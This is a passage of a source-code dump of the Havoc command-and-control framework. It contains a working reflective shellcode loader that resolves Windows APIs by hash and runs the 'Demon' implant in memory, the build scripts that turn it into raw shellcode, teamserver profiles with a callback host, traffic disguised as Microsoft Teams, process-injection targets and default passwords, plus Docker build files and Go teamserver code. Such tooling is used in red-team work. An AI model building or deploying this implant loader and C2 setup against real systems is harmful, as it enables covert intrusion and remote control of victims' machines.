RegionSize,\n                ULONG   NewProtect,\n                PULONG  OldProtect\n        );\n    } Win32;\n\n} INSTANCE, *PINSTANCE;\n\n#pragma pack(1)\ntypedef struct\n{\n    PVOID KaynLdr;\n    PVOID DllCopy;\n    PVOID Demon;\n    DWORD DemonSize;\n    PVOID TxtBase;\n    DWORD TxtSize;\n} KAYN_ARGS, *PKAYN_ARGS;\n"
  },
  {
    "path": "payloads/Shellcode/Include/Macro.h",
    "content": "\n#include <windows.h>\n\n#ifdef _WIN64\n    #define PPEB_PTR __readgsqword( 0x60 )\n#else\n    #define PPEB_PTR __readfsdword( 0x30 )\n#endif\n\n#define SEC( s, x )         __attribute__( ( section( \".\" #s \"$\" #x \"\" ) ) )\n#define U_PTR( x )          ( ( UINT_PTR ) x )\n#define C_PTR( x )          ( ( LPVOID ) x )\n#define NtCurrentProcess()  ( HANDLE ) ( ( HANDLE ) - 1 )\n\n#define GET_SYMBOL( x )     ( ULONG_PTR )( GetRIP( ) - ( ( ULONG_PTR ) & GetRIP - ( ULONG_PTR ) x ) )"
  },
  {
    "path": "payloads/Shellcode/Include/Utils.h",
    "content": "#include <windows.h>\n\nUINT_PTR HashString( LPVOID String, UINT_PTR Length );"
  },
  {
    "path": "payloads/Shellcode/Include/Win32.h",
    "content": "#include <windows.h>\n#include <Macro.h>\n\nUINT_PTR LdrModulePeb( UINT_PTR hModuleHash );\nPVOID LdrFunctionAddr( UINT_PTR hModule, UINT_PTR ProcHash );"
  },
  {
    "path": "payloads/Shellcode/Scripts/Hasher.c",
    "content": "#include <stdio.h>\n#include <ctype.h>\n\nlong Hash( char* String )\n{\n  unsigned long Hash = 5381;\n\tint c;\n\n\twhile (c = *String++)\n\t\tHash = ((Hash << 5) + Hash) + c;\n\n\treturn Hash;\n}\n\nvoid ToUpperString(char * temp) {\n  // Convert to upper case\n  char *s = temp;\n  while (*s) {\n    *s = toupper((unsigned char) *s);\n    s++;\n  }\n}\n\nint main(int argc, char** argv) \n{\n  if (argc < 2)\n    return 0;\n\n  ToUpperString(argv[1]);\n  printf(\"\\n[+] Hashed %s ==> 0x%x\\n\\n\", argv[1], Hash( argv[1] )); \n  return 0;\n}\n"
  },
  {
    "path": "payloads/Shellcode/Scripts/Linker.ld",
    "content": "SECTIONS\n{\n\t.text :\n\t{\n\t\t*( .text$A )\n\t\t*( .text$B )\n\t\t*( .text$C )\n\t\t*( .text$D )\n\t\t*( .text$E )\n\t\t*( .rdata* )\n\t\t*( .text$F )\n\t}\n}"
  },
  {
    "path": "payloads/Shellcode/Scripts/extract.py",
    "content": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\nimport pefile\nimport argparse\n\nif __name__ in '__main__':\n    try:\n        parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' );\n        parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str );\n        parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str );\n        option = parser.parse_args();\n\n        PeExe = pefile.PE( option.f );\n        PeSec = PeExe.sections[0].get_data();\n\n        if PeSec.find( b'ENDOFCODE' ) != None:\n            ScRaw = PeSec[ : PeSec.find( b'ENDOFCODE' ) ];\n            f = open( option.o, 'wb+' );\n            f.write( ScRaw );\n            f.close();\n        else:\n            print('[!] error: no ending tag');\n    except Exception as e:\n        print( '[!] error: {}'.format( e ) );\n\n"
  },
  {
    "path": "payloads/Shellcode/Source/Asm/x64/Asm.s",
    "content": "extern Entry\n\nglobal Start\nglobal GetRIP\nglobal KaynCaller\n\nsection .text$A\n\tStart:\n        push    rsi\n        mov\t\trsi, rsp\n        and\t\trsp, 0FFFFFFFFFFFFFFF0h\n\n        sub\t\trsp, 020h\n        call    Entry\n\n        mov\t\trsp, rsi\n        pop\t\trsi\n    ret\n\nsection .text$F\n    KaynCaller:\n           call caller\n       caller:\n           pop rcx\n       loop:\n           xor rbx, rbx\n           mov ebx, 0x5A4D\n           inc rcx\n           cmp bx,  [ rcx ]\n           jne loop\n           xor rax, rax\n           mov ax,  [ rcx + 0x3C ]\n           add rax, rcx\n           xor rbx, rbx\n           add bx,  0x4550\n           cmp bx,  [ rax ]\n           jne loop\n           mov rax, rcx\n       ret\n\n    GetRIP:\n        call    retptr\n\n    retptr:\n        pop\trax\n        sub\trax, 5\n    ret\n"
  },
  {
    "path": "payloads/Shellcode/Source/Asm/x86/Asm.s",
    "content": "\n[BITS 32]\n\nextern _Entry\n\nglobal _Start\nglobal _GetRIP\nglobal _KaynCaller\n\nsection .text$A\n\t_Start:\n        push    esi\n        mov\t\tesi, esp\n        and\t\tesp, 0FFFFFFF0h\n\n        sub\t\tesp, 020h\n        call    _Entry\n\n        mov\t\tesp, esi\n        pop\t\tesi\n    ret\n\nsection .text$F\n    _KaynCaller:\n           call caller\n       caller:\n           pop ecx\n       loop:\n           xor ebx, ebx\n           mov ebx, 0x5A4D\n           inc ecx\n           cmp bx,  [ ecx ]\n           jne loop\n           xor eax, eax\n           mov ax,  [ ecx + 0x3C ]\n           add eax, ecx\n           xor ebx, ebx\n           add bx,  0x4550\n           cmp bx,  [ eax ]\n           jne loop\n           mov eax, ecx\n       ret\n\n    _GetRIP:\n        call    retptr\n\n    retptr:\n        pop\teax\n        sub\teax, 5\n    ret\n"
  },
  {
    "path": "payloads/Shellcode/Source/Entry.c",
    "content": "#include <Core.h>\n#include <Win32.h>\n#include <ntdef.h>\n\n#ifdef _WIN64\n#define IMAGE_REL_TYPE IMAGE_REL_BASED_DIR64\n#else\n#define IMAGE_REL_TYPE IMAGE_REL_BASED_HIGHLOW\n#endif\n\nSEC( text, B ) VOID Entry( VOID )\n{\n    INSTANCE                Instance        = { 0 };\n    HMODULE                 KaynLibraryLdr  = NULL;\n    PIMAGE_NT_HEADERS       NtHeaders       = NULL;\n    PIMAGE_SECTION_HEADER   SecHeader       = NULL;\n    LPVOID                  KVirtualMemory  = NULL;\n    DWORD                   KMemSize        = 0;\n    DWORD                   KHdrSize        = 0;\n    PVOID                   SecMemory       = NULL;\n    PVOID                   SecMemorySize   = 0;\n    DWORD                   Protection      = 0;\n    ULONG                   OldProtection   = 0;\n    PIMAGE_DATA_DIRECTORY   ImageDir        = NULL;\n    KAYN_ARGS               KaynArgs        = { 0 };\n\n    // 0. First we need to get our own image base\n    KaynLibraryLdr          = KaynCaller();\n    Instance.Modules.Ntdll  = LdrModulePeb( NTDLL_HASH );\n\n    Instance.Win32.LdrLoadDll              = LdrFunctionAddr( Instance.Modules.Ntdll, SYS_LDRLOADDLL );\n    Instance.Win32.NtAllocateVirtualMemory = LdrFunctionAddr( Instance.Modules.Ntdll, SYS_NTALLOCATEVIRTUALMEMORY );\n    Instance.Win32.NtProtectVirtualMemory  = LdrFunctionAddr( Instance.Modules.Ntdll, SYS_NTPROTECTEDVIRTUALMEMORY );\n\n    NtHeaders = C_PTR( KaynLibraryLdr + ( ( PIMAGE_DOS_HEADER ) KaynLibraryLdr )->e_lfanew );\n    SecHeader = IMAGE_FIRST_SECTION( NtHeaders );\n    KHdrSize  = SecHeader[ 0 ].VirtualAddress;\n    KMemSize  = NtHeaders->OptionalHeader.SizeOfImage - KHdrSize;\n\n    if ( NT_SUCCESS( Instance.Win32.NtAllocateVirtualMemory( NtCurrentProcess(), &KVirtualMemory, 0, &KMemSize, MEM_COMMIT, PAGE_READWRITE ) ) )\n    {\n        // TODO: find the base address of this shellcode in a better way?\n        KaynArgs.KaynLdr   = ( PVOID ) ( ( ( ULONG_PTR )KaynLibraryLdr ) & ( ~ ( PAGE_SIZE - 1 ) ) );\n        KaynArgs.DllCopy   = KaynLibraryLdr;\n        KaynArgs.Demon     = KVirtualMemory;\n        KaynArgs.DemonSize = KMemSize;\n\n        for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ )\n        {\n            MemCopy(\n                C_PTR( KVirtualMemory + SecHeader[ i ].VirtualAddress - KHdrSize ), // Section New Memory\n                C_PTR( KaynLibraryLdr + SecHeader[ i ].PointerToRawData ),          // Section Raw Data\n                SecHeader[ i ].SizeOfRawData                                        // Section Size\n            );\n        }\n\n        ImageDir = & NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];\n        if ( ImageDir->VirtualAddress )\n            KaynLdrReloc( KVirtualMemory, NtHeaders->OptionalHeader.ImageBase, C_PTR( KVirtualMemory + ImageDir->VirtualAddress ), KHdrSize );\n\n        for ( DWORD i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++ )\n        {\n            SecMemory       = C_PTR( KVirtualMemory + SecHeader[ i ].VirtualAddress - KHdrSize );\n            SecMemorySize   = SecHeader[ i ].SizeOfRawData;\n            Protection      = 0;\n            OldProtection   = 0;\n\n            if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE )\n                Protection = PAGE_WRITECOPY;\n\n            if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ )\n                Protection = PAGE_READONLY;\n\n            if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) )\n                Protection = PAGE_READWRITE;\n\n            if ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE )\n                Protection = PAGE_EXECUTE;\n\n            if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) )\n                Protection = PAGE_EXECUTE_WRITECOPY;\n\n            if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) )\n            {\n                Protection = PAGE_EXECUTE_READ;\n                KaynArgs.TxtBase = KVirtualMemory + SecHeader[ i ].VirtualAddress - KHdrSize;\n                KaynArgs.TxtSize = SecHeader[ i ].SizeOfRawData;\n            }\n\n            if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) )\n                Protection = PAGE_EXECUTE_READWRITE;\n\n            Instance.Win32.NtProtectVirtualMemory( NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &OldProtection );\n        }\n\n        // --------------------------------\n        // 6. Finally executing our DllMain\n        // --------------------------------\n        BOOL ( WINAPI *KaynDllMain ) ( PVOID, DWORD, PVOID ) = C_PTR( KVirtualMemory + NtHeaders->OptionalHeader.AddressOfEntryPoint - KHdrSize );\n        KaynDllMain( KVirtualMemory, DLL_PROCESS_ATTACH, &KaynArgs );\n    }\n}\n\nVOID KaynLdrReloc( PVOID KaynImage, PVOID ImageBase, PVOID BaseRelocDir, DWORD KHdrSize )\n{\n    PIMAGE_BASE_RELOCATION  pImageBR = C_PTR( BaseRelocDir - KHdrSize );\n    LPVOID                  OffsetIB = C_PTR( U_PTR( KaynImage - KHdrSize ) - U_PTR( ImageBase ) );\n    PIMAGE_RELOC            Reloc    = NULL;\n\n    while( pImageBR->VirtualAddress != 0 )\n    {\n        Reloc = ( PIMAGE_RELOC ) ( pImageBR + 1 );\n\n        while ( ( PBYTE ) Reloc != ( PBYTE ) pImageBR + pImageBR->SizeOfBlock )\n        {\n            if ( Reloc->type == IMAGE_REL_TYPE )\n                *( ULONG_PTR* ) ( U_PTR( KaynImage ) + pImageBR->VirtualAddress + Reloc->offset - KHdrSize ) += ( ULONG_PTR ) OffsetIB;\n\n            else if ( Reloc->type != IMAGE_REL_BASED_ABSOLUTE )\n                __debugbreak(); // TODO: handle this error\n\n            Reloc++;\n        }\n\n        pImageBR = ( PIMAGE_BASE_RELOCATION ) Reloc;\n    }\n}"
  },
  {
    "path": "payloads/Shellcode/Source/Utils.c",
    "content": "#include <Utils.h>\n#include <Macro.h>\n\nSEC( text, B ) UINT_PTR HashString( LPVOID String, UINT_PTR Length )\n{\n    ULONG\tHash = 5381;\n    PUCHAR\tPtr  = String;\n\n    do\n    {\n        UCHAR character = *Ptr;\n\n        if ( ! Length )\n        {\n            if ( !*Ptr ) break;\n        }\n        else\n        {\n            if ( (ULONG) ( Ptr - (PUCHAR)String ) >= Length ) break;\n            if ( !*Ptr ) ++Ptr;\n        }\n\n        if ( character >= 'a' )\n            character -= 0x20;\n\n        Hash = ( ( Hash << 5 ) + Hash ) + character;\n        ++Ptr;\n    } while ( TRUE );\n\n    return Hash;\n}"
  },
  {
    "path": "payloads/Shellcode/Source/Win32.c",
    "content": "#include <Win32.h>\n#include <Utils.h>\n#include <winternl.h>\n\nSEC( text, B ) UINT_PTR LdrModulePeb( UINT_PTR hModuleHash )\n{\n    PLDR_DATA_TABLE_ENTRY pModule      = ( PLDR_DATA_TABLE_ENTRY ) ( ( PPEB ) PPEB_PTR )->Ldr->InMemoryOrderModuleList.Flink;\n    PLDR_DATA_TABLE_ENTRY pFirstModule = pModule;\n\n    do\n    {\n        DWORD ModuleHash = HashString( pModule->FullDllName.Buffer, pModule->FullDllName.Length );\n\n        if ( ModuleHash == hModuleHash )\n            return ( UINT_PTR ) pModule->Reserved2[ 0 ];\n\n        pModule = ( PLDR_DATA_TABLE_ENTRY ) pModule->Reserved1[ 0 ];\n    } while ( pModule && pModule != pFirstModule );\n\n    return INVALID_HANDLE_VALUE;\n}\n\nSEC( text, B ) PVOID LdrFunctionAddr( UINT_PTR Module, UINT_PTR FunctionHash )\n{\n    PIMAGE_NT_HEADERS       ModuleNtHeader          = NULL;\n    PIMAGE_EXPORT_DIRECTORY ModuleExportedDirectory = NULL;\n    PDWORD                  AddressOfFunctions      = NULL;\n    PDWORD                  AddressOfNames          = NULL;\n    PWORD                   AddressOfNameOrdinals   = NULL;\n\n    ModuleNtHeader          = C_PTR( Module + ( ( PIMAGE_DOS_HEADER ) Module )->e_lfanew );\n    ModuleExportedDirectory = C_PTR( Module + ModuleNtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress );\n\n    AddressOfNames          = C_PTR( Module + ModuleExportedDirectory->AddressOfNames );\n    AddressOfFunctions      = C_PTR( Module + ModuleExportedDirectory->AddressOfFunctions );\n    AddressOfNameOrdinals   = C_PTR( Module + ModuleExportedDirectory->AddressOfNameOrdinals );\n\n    for (DWORD i = 0; i < ModuleExportedDirectory->NumberOfNames; i++)\n    {\n        if ( HashString( C_PTR( Module + AddressOfNames[i] ), 0 ) == FunctionHash )\n            return C_PTR( Module + AddressOfFunctions[ AddressOfNameOrdinals[ i ] ] );\n    }\n}"
  },
  {
    "path": "payloads/Shellcode/makefile",
    "content": "CCX64\t= x86_64-w64-mingw32-gcc\nCCX86\t= i686-w64-mingw32-gcc\n\nCFLAGS\t=  -Os -fno-asynchronous-unwind-tables -nostdlib\nCFLAGS\t+= -fno-ident -fpack-struct=8 -falign-functions=1\nCFLAGS\t+= -s -ffunction-sections -falign-jumps=1 -w\nCFLAGS\t+= -falign-labels=1 -fPIC -Wl,-TScripts/Linker.ld\nCFLAGS\t+= -Wl,-s,--no-seh,--enable-stdcall-fixup\n\nEXECUTABLE_X64 = Bin/Shellcode.x64.exe\nEXECUTABLE_X86 = Bin/Shellcode.x86.exe\nRAWBINARY_X64  = ../Shellcode.x64.bin\nRAWBINARY_X86  = ../Shellcode.x86.bin\n\nall: x64 x86\n\nx64: clean\n\t@ echo \"[*] Compile x64 executable...\"\n\t\n\t@ nasm -f win64 Source/Asm/x64/Asm.s -o Bin/Asm.x64.o\n\t@ $(CCX64) Source/*.c Bin/Asm.x64.o -o $(EXECUTABLE_X64) $(CFLAGS) $(LFLAGS) -IInclude -masm=intel\n\n\t@ echo \"[*] Extract shellcode: $(RAWBINARY_X64)\"\n\t@ python3 Scripts/extract.py -f $(EXECUTABLE_X64) -o $(RAWBINARY_X64)\n\n\t@ rm $(EXECUTABLE_X64)\n\nx86: clean\n\t@ echo \"[*] Compile x86 executable...\"\n\n\t@ nasm -f win32 Source/Asm/x86/Asm.s -o Bin/Asm.x86.o\n\t@ $(CCX86) Source/*.c Bin/Asm.x86.o -o $(EXECUTABLE_X86) $(CFLAGS) $(LFLAGS) -IInclude -masm=intel\n\n\t@ echo \"[*] Extract shellcode: $(RAWBINARY_X86)\"\n\t@ python3 Scripts/extract.py -f $(EXECUTABLE_X86) -o $(RAWBINARY_X86)\n\n\t@ rm $(EXECUTABLE_X86)\n\nclean:\n\t@ rm -rf Bin/*.o\n\t@ rm -rf Bin/*.bin\n\t@ rm -rf Bin/*.exe\n"
  },
  {
    "path": "profiles/havoc.yaotl",
    "content": "Teamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc\"\n        Compiler86 = \"data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc\"\n        Nasm = \"/usr/bin/nasm\"\n    }\n}\n\nOperators {\n    user \"5pider\" {\n        Password = \"password1234\"\n    }\n\n    user \"Neo\" {\n        Password = \"password1234\"\n    }\n}\n\n# this is optional. if you dont use it you can remove it.\nService {\n    Endpoint = \"service-endpoint\"\n    Password = \"service-password\"\n}\n\nDemon {\n    Sleep = 2\n    Jitter = 15\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n\n"
  },
  {
    "path": "profiles/http_smb.yaotl",
    "content": "Teamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"/usr/bin/x86_64-w64-mingw32-gcc\"\n        Compiler86 = \"/usr/bin/i686-w64-mingw32-gcc\"\n        Nasm = \"/usr/bin/nasm\"\n    }\n}\n\nOperators {\n    user \"5pider\" {\n        Password = \"password1234\"\n    }\n\n    user \"Neo\" {\n        Password = \"password1234\"\n    }\n}\n\nListeners {\n    Http {\n        Name         = \"teams profile - http\"\n        Hosts        = [\n            \"5pider.net\", # our callback host.\n        ]\n        HostBind     = \"0.0.0.0\" # the address where the listener should bind to. \n        HostRotation = \"round-robin\"\n        PortBind     = 443\n        PortConn     = 443\n        Secure       = false # for now disabled so we can see the traffic content. (but alaways enabled this!!!)\n        KillDate     = \"2024-01-02 12:00:00\"\n        UserAgent    = \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36\"\n\n        Uris = [\n            \"/Collector/2.0/settings/\"\n        ]\n\n        Headers = [\n            \"Accept: json\",\n            \"Referer: https://teams.microsoft.com/_\",\n            \"x-ms-session-id: f73c3186-057a-d996-3b63-b6e5de6ef20c\",\n            \"x-ms-client-type: desktop\",\n            \"x-mx-client-version: 27/1.0.0.2021020410\",\n            \"Accept-Encoding: gzip, deflate, br\",\n            \"Origin: https://teams.microsoft.com\"\n        ]\n\n        Response {\n            Headers = [\n                \"Content-Type: application/json; charset=utf-8\",\n                \"Server: Microsoft-HTTPAPI/2.0\",\n                \"X-Content-Type-Options: nosniff\",\n                \"x-ms-environment: North Europe-prod-3,_cnsVMSS-6_26\",\n                \"x-ms-latency: 40018.2038\",\n                \"Access-Control-Allow-Origin: https://teams.microsoft.com\",\n                \"Access-Control-Allow-Credentials: true\",\n                \"Connection: keep-alive\"\n            ]\n        }\n\n    }\n\n    Smb {\n        Name     = \"Pivot - Smb\"\n        PipeName = \"demon_pipe\"\n    }\n}\n\n# this is optional. if you dont use it you can remove it.\nService {\n    Endpoint = \"service-endpoint\"\n    Password = \"service-password\"\n}\n\nDemon {\n    Sleep = 2\n    Jitter = 20\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\Werfault.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\Werfault.exe\"\n    }\n}\n\n"
  },
  {
    "path": "profiles/webhook_example.yaotl",
    "content": "Teamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n}\n\nWebHook {\n    Discord {\n        # required\n        Url = \"...\" # replace this with your webhook\n\n        # optional\n        AvatarUrl = \"https://raw.githubusercontent.com/HavocFramework/Havoc/main/Assets/Havoc.png\" # url to an image to use as an avatar\n\n        # optional\n        User = \"Havoc\" # User name of the webhook bot\n    }\n}\n\nOperators {\n    user \"5pider\" {\n        Password = \"password1234\"\n    }\n\n    user \"Neo\" {\n        Password = \"password1234\"\n    }\n}\n\n# this is optional. if you dont use it you can remove it.\nService {\n    Endpoint = \"service-endpoint\"\n    Password = \"service-password\"\n}\n\nDemon {\n    Sleep = 2\n    Jitter = 30\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n\n"
  },
  {
    "path": "teamserver/GA-Teamserver",
    "content": "# Havoc Teamserver Dockerfile\n# ------------------------------------------------------------------------------\n# Commands for usage:\n#\n#\tBuild image file:\n#\t\t'sudo docker build -t ga-teamserver -f GA-Teamserver .'\n#\tCopy built Teamserver from container:\n#\t\t'docker cp <containerID>:/go/Build/bin/teamserver /host/path/target'\n#\n# Extras\n# \tCreate Data storage for persistence\n#       'docker volume create havoc-teamserver-data'\n# \tEnter Container:\n#\t\t'docker run exec -it <containerID> bash'\n# ------------------------------------------------------------------------------\nARG GO_VERSION=\"1.19.1\"\nFROM golang:${GO_VERSION}\n#\nENV PATH=/root/.local/bin:$PATH\nENV USER=root\n#\nRUN apt update \\\n\t&& apt -y install \\\n\talien \\\n\tdebhelper \\\n\tdevscripts \\\n\tgolang-go \\\n\tnasm \\\n\tmingw-w64 \\\n\tdh-golang \\\n\tdh-make \\\n\tfakeroot \\\n\tpkg-config \\\n\tpython3-all-dev \\\n\tpython3-pip \\\n\trpm \\\n\tsudo \\\n\tupx-ucl \\\n\t&& pip install --upgrade jsonschema\n#\n# Copy over the client\nCOPY . Build\n#\n# Pull the repo from Github\n#RUN git clone https://github.com/HavocFramework/Havoc\n#\n# Build the cloned repos copy of the Teamserver-Client  \nRUN cd Build && make\n#\n# ------------------------------------------------------------------------------#\n# original @author      Nicola Asuni <info@tecnick.com>\n# @copyright   2016-2022 Nicola Asuni - Tecnick.com LTD\n# @license     MIT (see LICENSE)\n# @link        https://github.com/tecnickcom/alldev\n# ------------------------------------------------------------------------------\n\n"
  },
  {
    "path": "teamserver/Install.sh",
    "content": "#!/bin/bash\n\nif [ ! -d \"dir/x86_64-w64-mingw32-cross\" ]; then\n\tsudo apt -qq --yes install golang-go nasm mingw-w64 wget >/dev/null 2>&1\n\n\tif [ ! -d \"data\" ]; then\n\t\tmkdir data\n\tfi\n\n\tif [ ! -f /tmp/mingw-musl-64.tgz ]; then\n\t\twget https://musl.cc/x86_64-w64-mingw32-cross.tgz -q -O /tmp/mingw-musl-64.tgz\n\tfi\n\n\n\ttar zxf /tmp/mingw-musl-64.tgz -C data\n\n\tif [ ! -f /tmp/mingw-musl-32.tgz ]; then\n\t\twget https://musl.cc/i686-w64-mingw32-cross.tgz -q -O /tmp/mingw-musl-32.tgz\n\tfi\n\n\ttar zxf /tmp/mingw-musl-32.tgz -C data\nfi\n"
  },
  {
    "path": "teamserver/README.md",
    "content": "# Havoc Teamserver\n\nSource code of Havoc teamserver. Written in Golang.\n\n\n### Build the Teamserver\n- **Pre-requisites**\n\t1. Go1.18\n- **Native**\n\t- To build the Teamserver client locally, run the following command in this folder(`~/Havoc/Teamserver/`):\n\t\t1. `make`\n\t- That's it! If it ran successfully to completion, you should now have a compiled binary ready for use in the `/bin` folder.\n\t- Example use with a prewritten profile: `sudo ./teamserver server --profile profiles/havoc.yaotl --verbose`\n\t- Example use with default profile: `sudo ./teamserver --default --verbose`\n- **Docker**\n\t- To build the Teamserver client using a local Docker container, run the following commands(assuming you have Docker installed):\n\t\t1. Build the Dockerfile:\n\t\t\t* `sudo docker build -t havoc-teamserver -f Teamserver-Dockerfile .`\n\t\t2. (Optional) Create a persistent data volume for the container:\n\t\t\t* `sudo docker volume create havoc-c2-data`\n\t\t3. Run the container:\n\t\t\t* `sudo docker run -it -d -v havoc-c2-data:/data havoc-teamserver`\n- **Jenkins Docker**\n\t- We can also build the Teamserver binary using a pre-configured Jenkins Docker image.\n\t\t1. From the parent folder(`Havoc`), run the following command to build the container:\n\t\t\t* `sudo docker build -t jenkins-havoc-teamserver -f JT-Dockerfile .``\n\t\t2. (Optionally) Create a persistent data volume for the container:\n\t\t\t* `sudo docker volume create havoc-cicd-c2-data`\n\t\t2. Next, we want to run the container:\n\t\t\t* `sudo docker run -p8080:8080 -it -d -v havoc-cicd-c2-data:/data jenkins-havoc-teamserver`\n\t\t3. We can now visit Jenkins at `localhost:8080` and create a Pipeline to build the Havoc Teamserver!\n\t\t\t* For a pre-done Groovy script, please see the `Havoc-Teamserver.groovy` in the `Assets` folder.\n\n\n### Run the Teamserver\n- **Base:**\n\t- The teamserver can also be used directly:\n\t\t* `./teamserver -h`\n\t\t* `./teamserver server --profile profiles/havoc.yaotl -v`\n\t\t* `./teamserver server --default -v`\n- **Docker**\n\t- We can run the teamserver completely from within a container!\n\t1. Build the container: \n\t\t* `sudo docker build -f Client-Dockerfile .`\n\t2. Launch the container (be sure to change the port mapping to match your environment):\n\t\t* `sudo docker run -p40056:40056 -p 443:443 -it -d -v havoc-c2-data:/data jenkins-havoc-client`\n\t3. Access the teamserver at `localhost:40056` using your Teamserver client.\n"
  },
  {
    "path": "teamserver/Teamserver-Dockerfile",
    "content": "# Havoc Teamserver Dockerfile\n# ------------------------------------------------------------------------------\n# Commands for usage:\n#\n#\tBuild image file:\n#\t\t'docker build -t havoc-teamserver -f Teamserver-Dockerfile .'\n#\t(Optional) Create Data volume for persistence:\n#\t\t`docker volume create <volume_name>`\n#\tRun Built Image file(`-d` for persistence):\n#\t\t'docker run -ti -d -v havoc-teamserver-data:/data havoc-teamserver'\n#\tCopy built Teamserver from container:\n#\t\t'docker cp <containerID>:/go/Build/bin/teamserver /host/path/target'\n#\n#\tRun Built Teamserver from Docker container:\n#\t\t`docker run -p40056:40056 -p 443:443 -it -d -v havoc-c2-data:/data havoc-teamserver`\n#\t\t`docker exec -t <container_id> \"/go/Build/bin/teamserver\"`\n#\n# Extras\n# \tCreate Data storage for persistence\n#       'docker volume create havoc-teamserver-data'\n# \tEnter Container:\n#\t\t'docker run exec -it <containerID> bash'\n# ------------------------------------------------------------------------------\nARG GO_VERSION=\"1.19.1\"\nFROM golang:${GO_VERSION}\n#\nENV PATH=/root/.local/bin:$PATH\nENV USER=root\n#\nRUN apt update \\\n\t&& apt -y install \\\n\talien \\\n\tdebhelper \\\n\tdevscripts \\\n\tgolang-go \\\n\tnasm \\\n\tmingw-w64 \\\n\tdh-golang \\\n\tdh-make \\\n\tfakeroot \\\n\tpkg-config \\\n\tpython3-all-dev \\\n\tpython3-pip \\\n\trpm \\\n\tsudo \\\n\tlibcap2-bin \\\n\tupx-ucl \\\n\t&& pip install --upgrade jsonschema\n#\n# Copy over the client\n#COPY . Build/\n#RUN cd Build/ && make\n#\n# Pull the repo from Github\nRUN git clone https://github.com/HavocFramework/Havoc\n#\n# Build the cloned repos copy of the Teamserver-Client\nRUN cd Havoc/teamserver/ && chmod +x ./Install.sh && ./Install.sh && cd .. && make ts-build\n#\n# ------------------------------------------------------------------------------#\n# original @author      Nicola Asuni <info@tecnick.com>\n# @copyright   2016-2022 Nicola Asuni - Tecnick.com LTD\n# @license     MIT (see LICENSE)\n# @link        https://github.com/tecnickcom/alldev\n# ------------------------------------------------------------------------------\n"
  },
  {
    "path": "teamserver/cmd/client.go",
    "content": "package cmd\n\nimport (\n\t\"github.com/spf13/cobra\"\n\t\"os\"\n\t\"os/exec\"\n)\n\nvar CobraClient = &cobra.Command{\n\tUse:          \"client\",\n\tShort:        \"client command\",\n\tSilenceUsage: true,\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\tstartMenu()\n\n\t\tclient := exec.Command(\"client/Havoc\", args...)\n\t\tclient.Stdout = os.Stdout\n\t\tclient.Stderr = os.Stderr\n\n\t\tif err := client.Run(); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\treturn nil\n\t},\n}\n"
  },
  {
    "path": "teamserver/cmd/cmd.go",
    "content": "package cmd\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"Havoc/cmd/server\"\n\t\"Havoc/pkg/colors\"\n\n\t\"github.com/spf13/cobra\"\n)\n\nvar (\n\tVersionNumber = \"0.7\"\n\tVersionName   = \"Bites The Dust\"\n\tDatabasePath  = \"data/teamserver.db\"\n\n\tHavocCli = &cobra.Command{\n\t\tUse:          \"havoc\",\n\t\tShort:        fmt.Sprintf(\"Havoc Framework [Version: %v] [CodeName: %v]\", VersionNumber, VersionName),\n\t\tSilenceUsage: true,\n\t\tRunE:         teamserverFunc,\n\t}\n\n\tflags server.TeamserverFlags\n)\n\n// init all flags\nfunc init() {\n\tHavocCli.CompletionOptions.DisableDefaultCmd = true\n\n\t// server flags\n\tCobraServer.Flags().SortFlags = false\n\tCobraServer.Flags().StringVarP(&flags.Server.Profile, \"profile\", \"\", \"\", \"set havoc teamserver profile\")\n\tCobraServer.Flags().BoolVarP(&flags.Server.Debug, \"debug\", \"\", false, \"enable debug mode\")\n\tCobraServer.Flags().BoolVarP(&flags.Server.DebugDev, \"debug-dev\", \"\", false, \"enable debug mode for developers (compiles the agent with the debug mode/macro enabled)\")\n\tCobraServer.Flags().BoolVarP(&flags.Server.SendLogs, \"send-logs\", 